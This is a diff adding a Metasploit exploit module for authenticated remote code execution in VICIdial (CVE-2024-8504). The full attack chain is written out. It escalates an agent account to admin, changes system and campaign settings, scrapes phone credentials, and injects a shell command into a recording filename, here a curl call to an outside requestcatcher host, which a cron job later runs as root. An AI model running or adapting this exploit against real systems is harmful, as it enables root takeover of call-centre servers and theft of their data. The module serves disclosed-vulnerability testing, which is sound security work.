|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + include Msf::Exploit::Remote::HttpClient |
| 8 | + |
| 9 | + def initialize(info = {}) |
| 10 | + super( |
| 11 | + update_info( |
| 12 | + info, |
| 13 | + 'Name' => 'VICIdial Authenticated Remote Code Execution', |
| 14 | + 'Description' => %q{ |
| 15 | + An attacker with authenticated access to VICIdial as an "agent" |
| 16 | + can execute arbitrary shell commands as the "root" user. This |
| 17 | + attack can be chained with CVE-2024-8503 to execute arbitrary |
| 18 | + shell commands starting from an unauthenticated perspective. |
| 19 | + }, |
| 20 | + 'Author' => [ |
| 21 | + 'Valentin Lobstein', # Metasploit Module |
| 22 | + 'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery |
| 23 | + ], |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'References' => [ |
| 26 | + ['CVE', '2024-8504'], |
| 27 | + ['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt'] |
| 28 | + ], |
| 29 | + 'DisclosureDate' => '2024-09-10', |
| 30 | + 'Platform' => %w[unix linux], |
| 31 | + 'Arch' => %w[ARCH_CMD], |
| 32 | + 'Targets' => [ |
| 33 | + [ |
| 34 | + 'Unix/Linux Command Shell', { |
| 35 | + 'Platform' => %w[unix linux], |
| 36 | + 'Arch' => ARCH_CMD |
| 37 | + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp |
| 38 | + } |
| 39 | + ], |
| 40 | + [ |
| 41 | + 'PHP Command Shell', { |
| 42 | + 'Platform' => 'php', |
| 43 | + 'Arch' => ARCH_PHP |
| 44 | + # tested with php/meterpreter/reverse_tcp |
| 45 | + } |
| 46 | + ] |
| 47 | + ], |
| 48 | + 'DefaultTarget' => 0, |
| 49 | + 'Notes' => { |
| 50 | + 'Stability' => [CRASH_SAFE], |
| 51 | + 'SideEffects' => [IOC_IN_LOGS], |
| 52 | + 'Reliability' => [REPEATABLE_SESSION] |
| 53 | + }, |
| 54 | + 'Payload' => { |
| 55 | + 'BadChars' => '/' |
| 56 | + } |
| 57 | + ) |
| 58 | + ) |
| 59 | + |
| 60 | + register_options([ |
| 61 | + OptString.new('USERNAME', [true, 'Administrator username']), |
| 62 | + OptString.new('PASSWORD', [true, 'Administrator password']), |
| 63 | + ]) |
| 64 | + end |
| 65 | + |
| 66 | + def exploit |
| 67 | + username = datastore['USERNAME'] |
| 68 | + password = datastore['PASSWORD'] |
| 69 | + |
| 70 | + session = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT']) |
| 71 | + session.connect |
| 72 | + |
| 73 | + # Authenticate using administrator credentials |
| 74 | + credentials = "#{username}:#{password}" |
| 75 | + credentials_base64 = Rex::Text.encode_base64(credentials) |
| 76 | + auth_header = "Basic #{credentials_base64}" |
| 77 | + |
| 78 | + target_uri = normalize_uri(datastore['TARGETURI'], 'vicidial', 'admin.php') |
| 79 | + request_params = { 'ADD' => '3', 'user' => username } |
| 80 | + request_headers = { 'Authorization' => auth_header } |
| 81 | + |
| 82 | + res = send_request_cgi({ |
| 83 | + 'uri' => target_uri, |
| 84 | + 'method' => 'GET', |
| 85 | + 'vars_get' => request_params, |
| 86 | + 'headers' => request_headers, |
| 87 | + 'keep_cookies' => true |
| 88 | + }) |
| 89 | + |
| 90 | + unless res&.code == 200 |
| 91 | + print_error('Failed to authenticate with credentials. Maybe hashing is enabled?') |
| 92 | + return |
| 93 | + end |
| 94 | + |
| 95 | + print_good("Authenticated successfully as user '#{username}'") |
| 96 | + |
| 97 | + # Update user settings to increase privileges beyond default administrator |
| 98 | + user_settings_body = { |
| 99 | + 'ADD' => '4A', 'custom_fields_modify' => '0', 'user' => username, 'DB' => '0', 'pass' => password, |
| 100 | + 'force_change_password' => 'N', 'full_name' => 'KoreLogic', 'user_level' => '9', |
| 101 | + 'user_group' => 'ADMIN', 'phone_login' => 'KoreLogic', 'phone_pass' => 'KoreLogic', |
| 102 | + 'active' => 'Y', 'voicemail_id' => '', 'email' => '', 'mobile_number' => '', 'user_code' => '', |
| 103 | + 'user_location' => '', 'user_group_two' => '', 'territory' => '', 'user_nickname' => '', |
| 104 | + 'user_new_lead_limit' => '-1', 'agent_choose_ingroups' => '1', 'agent_choose_blended' => '1', |
| 105 | + 'hotkeys_active' => '0', 'scheduled_callbacks' => '1', 'agentonly_callbacks' => '0', |
| 106 | + 'next_dial_my_callbacks' => 'NOT_ACTIVE', 'agentcall_manual' => '0', 'manual_dial_filter' => 'DISABLED', |
| 107 | + 'agentcall_email' => '0', 'agentcall_chat' => '0', 'vicidial_recording' => '1', 'vicidial_transfers' => '1', |
| 108 | + 'closer_default_blended' => '0', 'user_choose_language' => '0', 'selected_language' => 'default+English', |
| 109 | + 'vicidial_recording_override' => 'DISABLED', 'mute_recordings' => 'DISABLED', |
| 110 | + 'alter_custdata_override' => 'NOT_ACTIVE', 'alter_custphone_override' => 'NOT_ACTIVE', |
| 111 | + 'agent_shift_enforcement_override' => 'ALL', 'agent_call_log_view_override' => 'Y', |
| 112 | + 'hide_call_log_info' => 'Y', 'agent_lead_search' => 'NOT_ACTIVE', 'lead_filter_id' => 'NONE', |
| 113 | + 'user_hide_realtime' => '0', 'allow_alerts' => '0', 'preset_contact_search' => 'NOT_ACTIVE', |
| 114 | + 'max_inbound_calls' => '0', 'max_inbound_filter_enabled' => '0', 'max_inbound_filter_min_sec' => '-1', |
| 115 | + 'inbound_credits' => '-1', 'max_hopper_calls' => '0', 'max_hopper_calls_hour' => '0', |
| 116 | + 'wrapup_seconds_override' => '-1', 'ready_max_logout' => '-1', 'status_group_id' => '', |
| 117 | + 'campaign_js_rank_select' => '', 'campaign_js_grade_select' => '', 'ingroup_js_rank_select' => '', |
| 118 | + 'ingroup_js_grade_select' => '', 'RANK_AGENTDIRECT' => '0', 'GRADE_AGENTDIRECT' => '10', |
| 119 | + 'LIMIT_AGENTDIRECT' => '-1', 'WEB_AGENTDIRECT' => '', 'RANK_AGENTDIRECT_CHAT' => '0', |
| 120 | + 'GRADE_AGENTDIRECT_CHAT' => '10', 'LIMIT_AGENTDIRECT_CHAT' => '-1', 'WEB_AGENTDIRECT_CHAT' => '', |
| 121 | + 'custom_one' => '', 'custom_two' => '', 'custom_three' => '', 'custom_four' => '', 'custom_five' => '', |
| 122 | + 'qc_enabled' => '0', 'qc_user_level' => '1', 'qc_pass' => '0', 'qc_finish' => '0', 'qc_commit' => '0', |
| 123 | + 'hci_enabled' => '0', 'realtime_block_user_info' => '0', 'admin_hide_lead_data' => '0', |
| 124 | + 'admin_hide_phone_data' => '0', 'ignore_group_on_search' => '0', 'user_admin_redirect_url' => '', |
| 125 | + 'view_reports' => '1', 'access_recordings' => '0', 'alter_agent_interface_options' => '1', |
| 126 | + 'modify_users' => '1', 'change_agent_campaign' => '1', 'delete_users' => '1', 'modify_usergroups' => '1', |
| 127 | + 'delete_user_groups' => '1', 'modify_lists' => '1', 'delete_lists' => '1', 'load_leads' => '1', |
| 128 | + 'modify_leads' => '1', 'export_gdpr_leads' => '0', 'download_lists' => '1', 'export_reports' => '1', |
| 129 | + 'delete_from_dnc' => '1', 'modify_campaigns' => '1', 'campaign_detail' => '1', 'modify_dial_prefix' => '1', |
| 130 | + 'delete_campaigns' => '1', 'modify_ingroups' => '1', 'delete_ingroups' => '1', 'modify_inbound_dids' => '1', |
| 131 | + 'delete_inbound_dids' => '1', 'modify_custom_dialplans' => '1', 'modify_remoteagents' => '1', |
| 132 | + 'delete_remote_agents' => '1', 'modify_scripts' => '1', 'delete_scripts' => '1', 'modify_filters' => '1', |
| 133 | + 'delete_filters' => '1', 'ast_admin_access' => '1', 'ast_delete_phones' => '1', 'modify_call_times' => '1', |
| 134 | + 'delete_call_times' => '1', 'modify_servers' => '1', 'modify_shifts' => '1', 'modify_phones' => '1', |
| 135 | + 'modify_carriers' => '1', 'modify_email_accounts' => '0', 'modify_labels' => '1', 'modify_colors' => '1', |
| 136 | + 'modify_languages' => '0', 'modify_statuses' => '1', 'modify_voicemail' => '1', 'modify_audiostore' => '1', |
| 137 | + 'modify_moh' => '1', 'modify_tts' => '1', 'modify_contacts' => '1', 'callcard_admin' => '1', |
| 138 | + 'modify_auto_reports' => '0', 'add_timeclock_log' => '1', 'modify_timeclock_log' => '1', |
| 139 | + 'delete_timeclock_log' => '1', 'manager_shift_enforcement_override' => '1', 'pause_code_approval' => '1', |
| 140 | + 'admin_cf_show_hidden' => '0', 'modify_ip_lists' => '0', 'ignore_ip_list' => '0', |
| 141 | + 'two_factor_override' => 'NOT_ACTIVE', 'vdc_agent_api_access' => '1', 'api_list_restrict' => '0', |
| 142 | + 'api_allowed_functions%5B%5D' => 'ALL_FUNCTIONS', 'api_only_user' => '0', 'modify_same_user_level' => '1', |
| 143 | + 'download_invalid_files' => '1', 'alter_admin_interface_options' => '1', 'SUBMIT' => 'SUBMIT' |
| 144 | + } |
| 145 | + |
| 146 | + send_request_cgi({ |
| 147 | + 'uri' => target_uri, |
| 148 | + 'method' => 'POST', |
| 149 | + 'headers' => request_headers, |
| 150 | + 'vars_post' => user_settings_body, |
| 151 | + 'keep_cookies' => true |
| 152 | + }) |
| 153 | + |
| 154 | + print_good('Updated user settings to increase privileges') |
| 155 | + |
| 156 | + # Update system settings without clobbering existing configuration |
| 157 | + res = send_request_cgi({ |
| 158 | + 'uri' => target_uri, |
| 159 | + 'method' => 'GET', |
| 160 | + 'headers' => request_headers, |
| 161 | + 'vars_get' => { 'ADD' => Rex::Text.rand_text_numeric(10, 15) }, |
| 162 | + 'keep_cookies' => true |
| 163 | + }) |
| 164 | + unless res |
| 165 | + print_error('Failed to fetch system settings') |
| 166 | + return |
| 167 | + end |
| 168 | + |
| 169 | + system_settings_body = {} |
| 170 | + res.get_html_document.css('input').each do |input_tag| |
| 171 | + system_settings_body[input_tag['name']] = input_tag['value'] |
| 172 | + end |
| 173 | + |
| 174 | + res.get_html_document.css('select').each do |select_tag| |
| 175 | + selected_tag = select_tag.at_css('option[selected]') |
| 176 | + next unless selected_tag |
| 177 | + |
| 178 | + system_settings_body[select_tag['name']] = selected_tag.text |
| 179 | + end |
| 180 | + |
| 181 | + system_settings_body['outbound_autodial_active'] = '0' |
| 182 | + |
| 183 | + send_request_cgi({ |
| 184 | + 'uri' => target_uri, |
| 185 | + 'method' => 'POST', |
| 186 | + 'headers' => request_headers, |
| 187 | + 'vars_post' => system_settings_body, |
| 188 | + 'keep_cookies' => true |
| 189 | + }) |
| 190 | + |
| 191 | + print_good('Updated system settings') |
| 192 | + |
| 193 | + # Create dummy campaign |
| 194 | + campaign_settings_body = { |
| 195 | + 'ADD' => '21', 'park_ext' => '', 'campaign_id' => '313373', 'campaign_name' => 'korelogic_campaign', |
| 196 | + 'campaign_description' => '', 'user_group' => '---ALL---', 'active' => 'Y', 'park_file_name' => '', |
| 197 | + 'web_form_address' => '', 'allow_closers' => 'Y', 'hopper_level' => '1', 'auto_dial_level' => '0', |
| 198 | + 'next_agent_call' => 'random', 'local_call_time' => '12pm-5pm', 'voicemail_ext' => '', 'script_id' => '', |
| 199 | + 'get_call_launch' => 'NONE', 'SUBMIT' => 'SUBMIT' |
| 200 | + } |
| 201 | + |
| 202 | + send_request_cgi({ |
| 203 | + 'uri' => target_uri, |
| 204 | + 'method' => 'POST', |
| 205 | + 'headers' => request_headers, |
| 206 | + 'vars_post' => campaign_settings_body, |
| 207 | + 'keep_cookies' => true |
| 208 | + }) |
| 209 | + |
| 210 | + print_good('Created dummy campaign "korelogic_campaign"') |
| 211 | + |
| 212 | + # Update dummy campaign |
| 213 | + update_campaign_body = { |
| 214 | + 'ADD' => '41', 'campaign_id' => '313373', 'old_campaign_allow_inbound' => 'Y', |
| 215 | + 'campaign_name' => 'korelogic_campaign', 'active' => 'Y', 'dial_status' => '', 'lead_order' => 'DOWN', |
| 216 | + 'list_order_mix' => 'DISABLED', 'lead_filter_id' => 'NONE', 'no_hopper_leads_logins' => 'Y', |
| 217 | + 'hopper_level' => '1', 'reset_hopper' => 'N', 'dial_method' => 'RATIO', 'auto_dial_level' => '1', |
| 218 | + 'adaptive_intensity' => '0', 'SUBMIT' => 'SUBMIT', 'form_end' => 'END' |
| 219 | + } |
| 220 | + |
| 221 | + send_request_cgi({ |
| 222 | + 'uri' => target_uri, |
| 223 | + 'method' => 'POST', |
| 224 | + 'headers' => request_headers, |
| 225 | + 'vars_post' => update_campaign_body, |
| 226 | + 'keep_cookies' => true |
| 227 | + }) |
| 228 | + |
| 229 | + print_good('Updated dummy campaign settings') |
| 230 | + |
| 231 | + # Create dummy list |
| 232 | + list_settings_body = { |
| 233 | + 'ADD' => '211', 'list_id' => '313374', 'list_name' => 'korelogic_list', 'list_description' => '', |
| 234 | + 'campaign_id' => '313373', 'active' => 'Y', 'SUBMIT' => 'SUBMIT' |
| 235 | + } |
| 236 | + |
| 237 | + send_request_cgi({ |
| 238 | + 'uri' => target_uri, |
| 239 | + 'method' => 'POST', |
| 240 | + 'headers' => request_headers, |
| 241 | + 'vars_post' => list_settings_body, |
| 242 | + 'keep_cookies' => true |
| 243 | + }) |
| 244 | + |
| 245 | + print_good('Created dummy list for campaign') |
| 246 | + |
| 247 | + # Fetch credentials for a phone login |
| 248 | + res = send_request_cgi({ |
| 249 | + 'uri' => target_uri, |
| 250 | + 'method' => 'GET', |
| 251 | + 'headers' => request_headers, |
| 252 | + 'vars_get' => { 'ADD' => '10000000000' }, |
| 253 | + 'keep_cookies' => true |
| 254 | + }) |
| 255 | + |
| 256 | + unless res |
| 257 | + print_error('Failed to fetch phone credentials') |
| 258 | + return |
| 259 | + end |
| 260 | + |
| 261 | + phone_uri_path = res.get_html_document.at_css('a:contains("MODIFY")')['href'] |
| 262 | + |
| 263 | + res = send_request_cgi({ |
| 264 | + 'uri' => normalize_uri(datastore['TARGETURI'], phone_uri_path), |
| 265 | + 'method' => 'GET', |
| 266 | + 'headers' => request_headers, |
| 267 | + 'keep_cookies' => true |
| 268 | + }) |
| 269 | + |
| 270 | + unless res |
| 271 | + print_error('Failed to fetch phone credentials') |
| 272 | + return |
| 273 | + end |
| 274 | + |
| 275 | + phone_extension = res.get_html_document.at_css('input[name="extension"]')['value'] |
| 276 | + phone_password = res.get_html_document.at_css('input[name="pass"]')['value'] |
| 277 | + recording_extension = res.get_html_document.at_css('input[name="recording_exten"]')['value'] |
| 278 | + |
| 279 | + print_good("Found phone credentials: #{phone_extension}:#{phone_password}") |
| 280 | + |
| 281 | + # Make POST request to /agc/vdc_db_query.php to retrieve hidden input fields |
| 282 | + # (this is the fixed bug, dynamic field names need to be retrieved) |
| 283 | + vdc_db_query_body = { |
| 284 | + 'user' => username, |
| 285 | + 'pass' => password, |
| 286 | + 'ACTION' => 'LogiNCamPaigns', |
| 287 | + 'format' => 'html' |
| 288 | + } |
| 289 | + |
| 290 | + res = send_request_cgi({ |
| 291 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vdc_db_query.php'), |
| 292 | + 'method' => 'POST', |
| 293 | + 'vars_post' => vdc_db_query_body, |
| 294 | + 'keep_cookies' => true |
| 295 | + }) |
| 296 | + |
| 297 | + unless res |
| 298 | + print_error('Failed to retrieve hidden input fields') |
| 299 | + return |
| 300 | + end |
| 301 | + |
| 302 | + mgr_login_name = res.get_html_document.at_css('input[name^="MGR_login"]')['name'] |
| 303 | + mgr_pass_name = res.get_html_document.at_css('input[name^="MGR_pass"]')['name'] |
| 304 | + |
| 305 | + print_good("Retrieved dynamic field names: #{mgr_login_name}, #{mgr_pass_name}") |
| 306 | + |
| 307 | + # Authenticate to agent portal with phone credentials |
| 308 | + manager_login_body = { |
| 309 | + 'DB' => '0', 'JS_browser_height' => '1313', 'JS_browser_width' => '2560', 'phone_login' => phone_extension, |
| 310 | + 'phone_pass' => phone_password, 'LOGINvarONE' => '', 'LOGINvarTWO' => '', 'LOGINvarTHREE' => '', 'LOGINvarFOUR' => '', |
| 311 | + 'LOGINvarFIVE' => '', 'hide_relogin_fields' => '', 'VD_login' => username, 'VD_pass' => password, |
| 312 | + 'MGR_override' => '1', 'relogin' => 'YES', |
| 313 | + mgr_login_name => username, mgr_pass_name => password, 'SUBMIT' => 'SUBMIT' |
| 314 | + } |
| 315 | + |
| 316 | + send_request_cgi({ |
| 317 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'), |
| 318 | + 'method' => 'POST', |
| 319 | + 'headers' => request_headers, |
| 320 | + 'vars_post' => manager_login_body, |
| 321 | + 'keep_cookies' => true |
| 322 | + }) |
| 323 | + |
| 324 | + print_good('Entered "manager" credentials to override shift enforcement') |
| 325 | + |
| 326 | + agent_login_body = { |
| 327 | + 'DB' => '0', 'JS_browser_height' => '1313', 'JS_browser_width' => '2560', 'admin_test' => '', 'LOGINvarONE' => '', |
| 328 | + 'LOGINvarTWO' => '', 'LOGINvarTHREE' => '', 'LOGINvarFOUR' => '', 'LOGINvarFIVE' => '', 'phone_login' => phone_extension, |
| 329 | + 'phone_pass' => phone_password, 'VD_login' => username, 'VD_pass' => password, 'VD_campaign' => '313373' |
| 330 | + } |
| 331 | + |
| 332 | + res = send_request_cgi({ |
| 333 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'), |
| 334 | + 'method' => 'POST', |
| 335 | + 'headers' => request_headers, |
| 336 | + 'vars_post' => agent_login_body, |
| 337 | + 'keep_cookies' => true |
| 338 | + }) |
| 339 | + |
| 340 | + print_good('Authenticated as agent using phone credentials') |
| 341 | + |
| 342 | + # Insert malicious recording |
| 343 | + session_name = res.get_html_document.at_css("script:contains('var session_name =')").text.match(/var session_name = '([a-zA-Z0-9_]+)';/)[1] |
| 344 | + session_id = res.get_html_document.at_css("script:contains('var session_id =')").text.match(/var session_id = '([0-9]+)';/)[1] |
| 345 | + |
| 346 | + # hex_encoded_payload = "curl balno.requestcatcher.com".unpack('H*').first |
| 347 | + # formatted_payload = hex_encoded_payload.scan(/../).map { |x| "\\\\x#{x}" }.join |
| 348 | + command = 'curl balgo.requestcatcher.com' |
| 349 | + print_status("Payload: #{command}") |
| 350 | + malicious_filename = "3133731337$(#{command})" |
| 351 | + |
| 352 | + record1_body = { |
| 353 | + 'server_ip' => datastore['RHOSTS'], 'session_name' => session_name, 'user' => username, 'pass' => password, |
| 354 | + 'ACTION' => 'MonitorConf', 'format' => 'text', 'channel' => "Local/#{recording_extension}@default", 'filename' => malicious_filename, |
| 355 | + 'exten' => recording_extension, 'ext_context' => 'default', 'lead_id' => '', 'ext_priority' => '1', 'FROMvdc' => 'YES', |
| 356 | + 'uniqueid' => '', 'FROMapi' => '' |
| 357 | + } |
| 358 | + |
| 359 | + res = send_request_cgi({ |
| 360 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'manager_send.php'), |
| 361 | + 'method' => 'POST', |
| 362 | + 'headers' => request_headers, |
| 363 | + 'vars_post' => record1_body, |
| 364 | + 'keep_cookies' => true |
| 365 | + }) |
| 366 | + |
| 367 | + recording_id = res.body.match(/RecorDing_ID: ([0-9]+)/)[1] |
| 368 | + |
| 369 | + # Stop malicious recording to prevent file size from growing |
| 370 | + record2_body = { |
| 371 | + 'server_ip' => datastore['RHOSTS'], 'session_name' => session_name, 'user' => username, |
| 372 | + 'pass' => password, 'ACTION' => 'StopMonitorConf', 'format' => 'text', 'channel' => "Local/#{recording_extension}@default", |
| 373 | + 'filename' => "ID:#{recording_id}", 'exten' => session_id, 'ext_context' => 'default', 'lead_id' => '', 'ext_priority' => '1', |
| 374 | + 'FROMvdc' => 'YES', 'uniqueid' => '', 'FROMapi' => '' |
| 375 | + } |
| 376 | + |
| 377 | + send_request_cgi({ |
| 378 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'conf_exten_check.php'), |
| 379 | + 'method' => 'POST', |
| 380 | + 'headers' => request_headers, |
| 381 | + 'vars_post' => record2_body, |
| 382 | + 'keep_cookies' => true |
| 383 | + }) |
| 384 | + |
| 385 | + print_good('Stopped malicious recording to prevent file size from growing') |
| 386 | + |
| 387 | + # Wait for 2 minutes to allow the cron job to execute the payload |
| 388 | + print_status('Waiting for 2 minutes to allow the cron job to execute the payload...') |
| 389 | + Rex.sleep(120) |
| 390 | + end |
| 391 | +end |
0 commit comments